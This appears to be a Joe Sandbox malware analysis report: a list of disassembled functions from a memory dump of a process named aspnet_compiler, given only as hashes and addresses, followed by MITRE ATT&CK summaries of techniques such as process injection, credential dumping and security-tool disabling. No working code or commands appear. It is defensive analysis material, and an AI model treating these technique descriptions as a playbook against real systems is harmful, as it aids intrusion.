Opcode Fuzzy Hash: 2297fba201b144835da9c3aeefcec276c3d6c2b8c460e29e82064c61ac6fed8d
Instruction Fuzzy Hash: 56513C70E1965D9FDB98DBA8C465BA8BBF1FF69300F4041EED04DD72A1CA346980CB01

Function 00007FFD9B965A09 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fe2f45a8d03611cedd9627d32f01e2a18f47047be810dc400711f860d75fa4b
Instruction ID: fb7dc57f796d98160c375446848d0715dad132676227760058207bea0089801c
Opcode Fuzzy Hash: 8fe2f45a8d03611cedd9627d32f01e2a18f47047be810dc400711f860d75fa4b
Instruction Fuzzy Hash: CF51AD30A0A24E9FDB559FB4C469AADBBB0FF16314F5141BEC00ADB1A2CB385946CB41

Function 00007FFD9B960738 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd1657bf252f80252516d580ab2de52e3980204b17d042fafb8fd50af239dceb
Instruction ID: 038b4def0375d4066574debb304036f548831bb3858e324d7c0633e4698334b3
Opcode Fuzzy Hash: cd1657bf252f80252516d580ab2de52e3980204b17d042fafb8fd50af239dceb
Instruction Fuzzy Hash: 7F31F672A1E54EAFE7A5A7A8D8E51EC7BE0FF55620F060079D089C71F7DE2829438700

Function 00007FFD9B960740 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8219274dcb7f47b2d1ed84450edf0aa3d596d0c7b0e15577df1dcfeeb0894029
Instruction ID: b170234b6722d6d4fbc4b2be86dbdec93f4552f0c06dfa98f643e594df6fdbdd
Opcode Fuzzy Hash: 8219274dcb7f47b2d1ed84450edf0aa3d596d0c7b0e15577df1dcfeeb0894029
Instruction Fuzzy Hash: 33310672A1E58EAFE7A5A7A898E51EC7BE0FF45610F060079D049C71E6DE282942C700

Function 00007FFD9B96761A Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1fea92f07a044242c4f47725d42c48448bbb399b0da1ec06b9dd4f56ca0df56
Instruction ID: 239f899cee26dd38b07f1c889529652e1445c64509abd85149299569e3f45119
Opcode Fuzzy Hash: a1fea92f07a044242c4f47725d42c48448bbb399b0da1ec06b9dd4f56ca0df56
Instruction Fuzzy Hash: 91417C3090E2499FD75ADB64C864AE8BBF0FF16310F0541FAD059DB2A2CB7C5A85CB02

Function 00007FFD9B966091 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8408b569dd53bc3ce7d0b183f7a96abf79471247cd990a3ad74bec6890334b6a
Instruction ID: b5025cdb685f59fb1e0466eafb988eec800c81f3a4b0c6a812328890f46e259e
Opcode Fuzzy Hash: 8408b569dd53bc3ce7d0b183f7a96abf79471247cd990a3ad74bec6890334b6a
Instruction Fuzzy Hash: C8316871A0A64E9FE745ABA488357EDBFE0FF56320F4141FAC008C71E6EA3828458342

Function 00007FFD9B960748 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7610941fe5d5a536c4bbd14a56f3e0b87e9976b31f577ab5c160072c3c48026a
Instruction ID: fdc76e22c4a425f7162aa969183d87c607b7b9f1b4710a0ed4507d36b1b55322
Opcode Fuzzy Hash: 7610941fe5d5a536c4bbd14a56f3e0b87e9976b31f577ab5c160072c3c48026a
Instruction Fuzzy Hash: 3531F672A1E58EAFE7A5A7B898E51EC7BE0FF55610F460079D049C71F7DE282942C700

Function 00007FFD9B960CEE Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5893f1969d451239d0881bdae15a60a4359aba6ac3c6d693ea1215d70ca6309
Instruction ID: 8b350579527aea41c10353b4f2d57d7c38a146276e51b742ea530cce2b7803ff
Opcode Fuzzy Hash: a5893f1969d451239d0881bdae15a60a4359aba6ac3c6d693ea1215d70ca6309
Instruction Fuzzy Hash: 8131E870955A5D9FEB91EB78885E7D9BBF4FF29300F1440EAC04DD7261DA385E868B00

Function 00007FFD9B961DA9 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6011629861d8d48b0f16a5d299cec0fcea4dc0a92b622e14fa7b741bcdafea61
Instruction ID: 231e227d341ef6b346316de160d8f740455a4012e5237502d797cffde695e0e5
Opcode Fuzzy Hash: 6011629861d8d48b0f16a5d299cec0fcea4dc0a92b622e14fa7b741bcdafea61
Instruction Fuzzy Hash: 55218170919A4C8FDB81EBA8C859ADD7FF0FF19310F04056AD008D71A2DB349981CB41

Function 00007FFD9B960CD0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15480eb5cd9bf7a716e3a3355d560d211e654db8a549bf2d6d4409a70946c508
Instruction ID: d2eb113e35b3655f1b30e61aaf63bbc1cf8f7f4a937e3b00c93da035b67157a7
Opcode Fuzzy Hash: 15480eb5cd9bf7a716e3a3355d560d211e654db8a549bf2d6d4409a70946c508
Instruction Fuzzy Hash: 8431FBB0945A5DAFDB91EB78885E7D9BBF4FF19300F5440EAC04DC7261DA385D828B00

Function 00007FFD9B96ABB4 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a49528390821a38dba7985c7b7a858969b19b3c4561360891ca226b03dcf9f
Instruction ID: 5354a93f6ba4ce2085818b2b46d6c93503d812c1ca153ee9225cd55889a85498
Opcode Fuzzy Hash: 81a49528390821a38dba7985c7b7a858969b19b3c4561360891ca226b03dcf9f
Instruction Fuzzy Hash: A1212A70E2961E9FEB65DF98C854BEDB7B1FF44304F0041A8D019A32A4DB386A85CF80

Function 00007FFD9B968412 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88268304dab62ea07c4cb3b99ea300aba06aff18e9433c1a6f3c2c6c5105347f
Instruction ID: fb3b6010d15129b814e332c087ae506ecc4809b55b91cc5f02574866df6624bc
Opcode Fuzzy Hash: 88268304dab62ea07c4cb3b99ea300aba06aff18e9433c1a6f3c2c6c5105347f
Instruction Fuzzy Hash: 5C116A3048E6CA5FD3435BB08C286D67FB1AF87324F0940E6D089CB0A2C96D5A4AC722

Function 00007FFD9B966A26 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfbfcaaa1bfec6566989af85d2fda98edbf9b78d62e15b0407091dca9433a738
Instruction ID: 6e37162c5df9369eb890f78c6b1b1f64086ef85a5ab327a23d2f97d1f3cf7c75
Opcode Fuzzy Hash: cfbfcaaa1bfec6566989af85d2fda98edbf9b78d62e15b0407091dca9433a738
Instruction Fuzzy Hash: 7C218CB0A1A7488FDB5ADB64C855A987FB0FF1A311F1140EAD089DB2A2DA355D81CB10

Function 00007FFD9B96AB8A Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 554c933d042e459bfdfb0badabf6837bcea63c54efac2fedb075618c5abfe0e3
Instruction ID: e6493efeb43254d0b14e649a5ab29701a49285b1dcca108075cf6eb519426c12
Opcode Fuzzy Hash: 554c933d042e459bfdfb0badabf6837bcea63c54efac2fedb075618c5abfe0e3
Instruction Fuzzy Hash: 69015E30D1974E9FDBAADF58C864AEDB7B1FF44300F0042A9D419932A1DB386A46CF40

Function 00007FFD9B96AB98 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be3561b3048cc52e4d4033134f72530797dddbce1c1604ee0ef73c692e516e03
Instruction ID: 7738c81a9200d107f6978ef8f8cb29a20d347c864fde95c3d7c1fce5650e5189
Opcode Fuzzy Hash: be3561b3048cc52e4d4033134f72530797dddbce1c1604ee0ef73c692e516e03
Instruction Fuzzy Hash: D1010C70E2961E9FEBA9DF98C851BEDB7B1FF44304F100169D419932A0DB386A46CB40

Function 00007FFD9B96776B Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb0eb59606a4247da886ee415a0cf1ca869ab3afb171f55bc682b9253319fbe
Instruction ID: d197f8ad449b435eb3c2b94fcc4c750c7b6b386b8beb20367f31477091ce7c24
Opcode Fuzzy Hash: dfb0eb59606a4247da886ee415a0cf1ca869ab3afb171f55bc682b9253319fbe
Instruction Fuzzy Hash: D5014BB090A65D9FDB92DB6484587D9BBF0FF6A315F2480EAC088DB161D7784EC5CB10

Function 00007FFD9B965971 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 167f3e57fa72d141e0780a616942df443250d0b72f27f543f7eac9980a4cb3fd
Instruction ID: 89b24dc3ae6717a0949a27dd500d360230d90b15c7acba26a0cd0bce299c44cc
Opcode Fuzzy Hash: 167f3e57fa72d141e0780a616942df443250d0b72f27f543f7eac9980a4cb3fd
Instruction Fuzzy Hash: 0AF0E230C5A64D9FD7119BA088182F97BB0EF1A210F4204A3E40CCA0B2EA385614C702

Function 00007FFD9B96ABA1 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 154752947b8d85f2ae7aafc5791441bc3d76141d3af6b7c627024466dc4e5bd5
Instruction ID: 8bd228e4dfee66304528d5b9d45ff677c9933c60bf687f8871e3003d941adb7f
Opcode Fuzzy Hash: 154752947b8d85f2ae7aafc5791441bc3d76141d3af6b7c627024466dc4e5bd5
Instruction Fuzzy Hash: B5011A70D1561E9FEBA9DF48C854BDDB7B1FF44304F1001A9D419932A0DB386A85CB40

Function 00007FFD9B96ABAB Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb2f69b492a63de2203fbe2c21c0ccafe137aed001d317ba4605f6ea5688b55
Instruction ID: 9d036ee92cfc9a8aba6f5e99df3e2ababa42c8e5575ab5fe4deb17689b6d149a
Opcode Fuzzy Hash: cdb2f69b492a63de2203fbe2c21c0ccafe137aed001d317ba4605f6ea5688b55
Instruction Fuzzy Hash: B8F0EC70D2960E9FEBA9DF58C855BE977B1EF04304F110268D419932A0DA386A56DB40

Function 00007FFD9B960C0B Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ebe5394a63e06337ae09ad7e65c9c646072fe6e2cf55ed0a5b8e56652be79e5
Instruction ID: 085e386fc4162473628a5491899f52a1c4ee71309bd93bcf750abdab8e8e8989
Opcode Fuzzy Hash: 6ebe5394a63e06337ae09ad7e65c9c646072fe6e2cf55ed0a5b8e56652be79e5
Instruction Fuzzy Hash: 8BF0F87091965D9FDB96EB688859AD9BBB0FF29301F1040EAC089D7261EA745EC18F40

Function 00007FFD9B960E18 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7c06d741d6cd42403fe8ad40c898cce202714669c7f7754537df092a1f72b1a
Instruction ID: afcbdd4818e43a8b3dc74bef3b0d3b44f6dc4ceb7b6243bf58f62e3d2987a473
Opcode Fuzzy Hash: f7c06d741d6cd42403fe8ad40c898cce202714669c7f7754537df092a1f72b1a
Instruction Fuzzy Hash: 05F05E70A1A65C9FEB92EF28C858AD9BBB0FF2A301F1000D9C049C7165DB345D81CF00

Function 00007FFD9B960BA2 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c6e4f56e5eb99a5daf0d1b05b167c7c62684a8ffb739f8e8e731f3b47e88fb4
Instruction ID: 89856dc9975135c070e3c22ea95f758138f56b5867dab12dd7cc060c79466181
Opcode Fuzzy Hash: 1c6e4f56e5eb99a5daf0d1b05b167c7c62684a8ffb739f8e8e731f3b47e88fb4
Instruction Fuzzy Hash: F2F05E7085464E8FEBA1EB28C858B99BBB0FF25300F0480EAC00ED7161EA345EC1CF00

Function 00007FFD9B960F12 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2a1743f7f71c52902a63fa7843e69891fbe54a8bcc72dc8ea17325429eac5f3
Instruction ID: ce2fd0b6458cee6390bbafc50893fa7a769f70f5c04a37adce511a746f517f5e
Opcode Fuzzy Hash: f2a1743f7f71c52902a63fa7843e69891fbe54a8bcc72dc8ea17325429eac5f3
Instruction Fuzzy Hash: 32F0A7B094A64A5FC78BDB34885959D7FA1AF17210B4140F9C444CF1A2DA250D498721

Function 00007FFD9B960B38 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b37e87b0702f18cd0f9f377909e954961bdf08b0a4952a4f8dbb1f5820231a
Instruction ID: b8171f377d2faa425304117f451240964eac489ba30bc66423e34b7057180bcf
Opcode Fuzzy Hash: 43b37e87b0702f18cd0f9f377909e954961bdf08b0a4952a4f8dbb1f5820231a
Instruction Fuzzy Hash: C7F0D47091A65C9FEB91EB688858B99BBB0FF69200F1041EAC04DE7261EA345E85CF10

Function 00007FFD9B960C74 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8a343db9d9284a692b1ae496efb5454a5cfc47d3a897dc9d7256b53ca858361
Instruction ID: cf5353539d27f327a01709bc33760b0c3201065837f213f4d7d7653878114fa7
Opcode Fuzzy Hash: b8a343db9d9284a692b1ae496efb5454a5cfc47d3a897dc9d7256b53ca858361
Instruction Fuzzy Hash: 58F0FE7096565D9FDB92EB288898A997BF0FF29311F1040EAC049D7161DA345E81CB00

Function 00007FFD9B960ADD Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e92db494be4c3b9670ad57dde29b8622811c50a70b20b433547daec96b98feb
Instruction ID: 862f857c9474d1f59f7427a3b8d8fcb25179a7ad910a1b4c2398c2916a4c5338
Opcode Fuzzy Hash: 4e92db494be4c3b9670ad57dde29b8622811c50a70b20b433547daec96b98feb
Instruction Fuzzy Hash: 2BF0C07091975C9FDB91EB688499B597BF1FF26200F1440E9D04DD7161DB345D85CB01

Function 00007FFD9B9651FA Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2966933626.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b960000_aspnet_compiler.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11ad38c12136099a510316bb5900612a154bb20845b4241359b0c5bf23b03a82
Instruction ID: a5d5e0283d4a0e9a905ea0a07315bd7d9cc9039ebb0d7d673427921b397aa586
Opcode Fuzzy Hash: 11ad38c12136099a510316bb5900612a154bb20845b4241359b0c5bf23b03a82
Instruction Fuzzy Hash: 4AA0025F74813164621971DEBA158DC8709DAC23FB6144173E36ED50976984504B26A5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

